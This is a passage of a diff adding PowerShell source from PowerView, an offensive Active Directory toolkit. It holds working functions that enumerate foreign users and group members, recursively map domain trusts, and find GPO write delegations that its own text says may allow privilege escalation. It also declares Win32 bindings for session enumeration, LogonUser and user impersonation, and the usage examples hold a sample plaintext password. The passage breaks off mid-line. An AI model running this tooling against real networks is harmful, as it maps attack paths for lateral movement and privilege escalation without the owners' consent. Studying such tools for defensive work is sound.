} + } +} + + +function Get-DomainForeignUser { +<# +.SYNOPSIS + +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser + +.DESCRIPTION + +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignUser + +Return all users in the current domain who are in groups not in the +current domain. + +.EXAMPLE + +Get-DomainForeignUser -Domain dev.testlab.local + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignUser + +Custom PSObject with translated user property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(memberof=*)' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + Get-DomainUser @SearcherArguments | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf('DC=') + if ($Index) { + + $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' + $UserDistinguishedName = $_.distinguishedname + $UserIndex = $UserDistinguishedName.IndexOf('DC=') + $UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain -ne $UserDomain) { + # if the group domain doesn't match the user domain, display it + $GroupName = $Membership.Split(',')[0].split('=')[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership + $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') + $ForeignUser + } + } + } + } + } +} + + +function Get-DomainForeignGroupMember { +<# +.SYNOPSIS + +Enumerates groups with users outside of the group's domain and returns +each foreign member. This is a domain's "incoming" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup + +.DESCRIPTION + +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignGroupMember + +Return all group members in the current domain where the group and member differ. + +.EXAMPLE + +Get-DomainForeignGroupMember -Domain dev.testlab.local + +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignGroupMember')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(member=*)' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + # standard group names to ignore + $ExcludeGroups = @('Users', 'Domain Users', 'Guests') + + Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object { + $GroupName = $_.samAccountName + $GroupDistinguishedName = $_.distinguishedname + $GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) { + $MemberDistinguishedName = $_ + $MemberName = $_.Split(',')[0].split('=')[1] + + $ForeignGroupMember = New-Object PSObject + $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName + $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') + $ForeignGroupMember + } + } + } + } +} + + +function Get-DomainTrustMapping { +<# +.SYNOPSIS + +This function enumerates all trusts for the current domain and then enumerates +all trusts for each domain it finds. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current domain using +a number of methods, and then enumerates all trusts for each found domain, recursively +mapping all reachable trust relationships. By default, and LDAP search using the filter +'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified +LDAP is used as well. If the -NET flag is specified, the .NET method +GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain +object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is +used to enumerate instead. If any + +.PARAMETER API + +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the +built-in LDAP method. + +.PARAMETER NET + +Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using .NET methods and output everything to a .csv file. + +.EXAMPLE + +Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. + +.EXAMPLE + +Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using .NET methods and output everything to a .csv file. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries +using the specified alternate credentials, and output everything to a .csv file. + +.OUTPUTS + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields (default). + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'LDAP')] + Param( + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'NET')] + [Switch] + $NET, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Parameter(ParameterSetName = 'LDAP')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain status tracker + $Domains = New-Object System.Collections.Stack + + $DomainTrustArguments = @{} + if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } + if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET } + if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } + + # get the current domain and push it onto the stack + if ($PSBoundParameters['Credential']) { + $CurrentDomain = (Get-Domain -Credential $Credential).Name + } + else { + $CurrentDomain = (Get-Domain).Name + } + $Domains.Push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.Add($Domain, '') + + try { + # get all the trusts for this domain + $DomainTrustArguments['Domain'] = $Domain + $Trusts = Get-DomainTrust @DomainTrustArguments + + if ($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # get any forest trusts, if they exist + if ($PsCmdlet.ParameterSetName -eq 'NET') { + $ForestTrustArguments = @{} + if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } + $Trusts += Get-ForestTrust @ForestTrustArguments + } + + if ($Trusts) { + if ($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # enumerate each trust found + ForEach ($Trust in $Trusts) { + if ($Trust.SourceName -and $Trust.TargetName) { + # make sure we process the target + $Null = $Domains.Push($Trust.TargetName) + $Trust + } + } + } + } + catch { + Write-Verbose "[Get-DomainTrustMapping] Error: $_" + } + } + } +} + + +function Get-GPODelegation { +<# +.SYNOPSIS + +Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. + +Author: Itamar Mizrahi (@MrAnde7son) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER GPOName + +The GPO display name to query for, wildcards accepted. + +.PARAMETER PageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.EXAMPLE + +Get-GPODelegation + +Returns all GPO delegations in current forest. + +.EXAMPLE + +Get-GPODelegation -GPOName + +Returns all GPO delegations on a given GPO. +#> + + [CmdletBinding()] + Param ( + [String] + $GPOName = '*', + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') + + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $DomainList = @($Forest.Domains) + $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } + foreach ($Domain in $Domains) { + $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" + $Searcher = New-Object System.DirectoryServices.DirectorySearcher + $Searcher.SearchRoot = $Domain + $Searcher.Filter = $Filter + $Searcher.PageSize = $PageSize + $Searcher.SearchScope = "Subtree" + $listGPO = $Searcher.FindAll() + foreach ($gpo in $listGPO){ + $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} + if ($ACL -ne $null){ + $GpoACL = New-Object psobject + $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath + $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname + $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference + $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights + $GpoACL + } + } + } +} + + +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## + +$Mod = New-InMemoryModule -ModuleName Win32 + +# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] + +# used to parse the 'samAccountType' property for users/computers/groups +$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ + DOMAIN_OBJECT = '0x00000000' + GROUP_OBJECT = '0x10000000' + NON_SECURITY_GROUP_OBJECT = '0x10000001' + ALIAS_OBJECT = '0x20000000' + NON_SECURITY_ALIAS_OBJECT = '0x20000001' + USER_OBJECT = '0x30000000' + MACHINE_ACCOUNT = '0x30000001' + TRUST_ACCOUNT = '0x30000002' + APP_BASIC_GROUP = '0x40000000' + APP_QUERY_GROUP = '0x40000001' + ACCOUNT_TYPE_MAX = '0x7fffffff' +} + +# used to parse the 'grouptype' property for groups +$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ + CREATED_BY_SYSTEM = '0x00000001' + GLOBAL_SCOPE = '0x00000002' + DOMAIN_LOCAL_SCOPE = '0x00000004' + UNIVERSAL_SCOPE = '0x00000008' + APP_BASIC = '0x00000010' + APP_QUERY = '0x00000020' + SECURITY = '0x80000000' +} -Bitfield + +# used to parse the 'userAccountControl' property for users/groups +$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ + SCRIPT = 1 + ACCOUNTDISABLE = 2 + HOMEDIR_REQUIRED = 8 + LOCKOUT = 16 + PASSWD_NOTREQD = 32 + PASSWD_CANT_CHANGE = 64 + ENCRYPTED_TEXT_PWD_ALLOWED = 128 + TEMP_DUPLICATE_ACCOUNT = 256 + NORMAL_ACCOUNT = 512 + INTERDOMAIN_TRUST_ACCOUNT = 2048 + WORKSTATION_TRUST_ACCOUNT = 4096 + SERVER_TRUST_ACCOUNT = 8192 + DONT_EXPIRE_PASSWORD = 65536 + MNS_LOGON_ACCOUNT = 131072 + SMARTCARD_REQUIRED = 262144 + TRUSTED_FOR_DELEGATION = 524288 + NOT_DELEGATED = 1048576 + USE_DES_KEY_ONLY = 2097152 + DONT_REQ_PREAUTH = 4194304 + PASSWORD_EXPIRED = 8388608 + TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 + PARTIAL_SECRETS_ACCOUNT = 67108864 +} -Bitfield + +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ + Name = field 0 String -MarshalAs @('LPWStr') + Type = field 1 UInt32 + Remark = field 2 String -MarshalAs @('LPWStr') +} + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ + UserName = field 0 String -MarshalAs @('LPWStr') + LogonDomain = field 1 String -MarshalAs @('LPWStr') + AuthDomains = field 2 String -MarshalAs @('LPWStr') + LogonServer = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ + CName = field 0 String -MarshalAs @('LPWStr') + UserName = field 1 String -MarshalAs @('LPWStr') + Time = field 2 UInt32 + IdleTime = field 3 UInt32 +} + +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupEnum result structure +$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ + lgrpi1_name = field 0 String -MarshalAs @('LPWStr') + lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} + +# used by WNetAddConnection2W +$NETRESOURCEW = struct $Mod NETRESOURCEW @{ + dwScope = field 0 UInt32 + dwType = field 1 UInt32 + dwDisplayType = field 2 UInt32 + dwUsage = field 3 UInt32 + lpLocalName = field 4 String -MarshalAs @('LPWStr') + lpRemoteName = field 5 String -MarshalAs @('LPWStr') + lpComment = field 6 String -MarshalAs @('LPWStr') + lpProvider = field 7 String -MarshalAs @('LPWStr') +} + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), + (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func 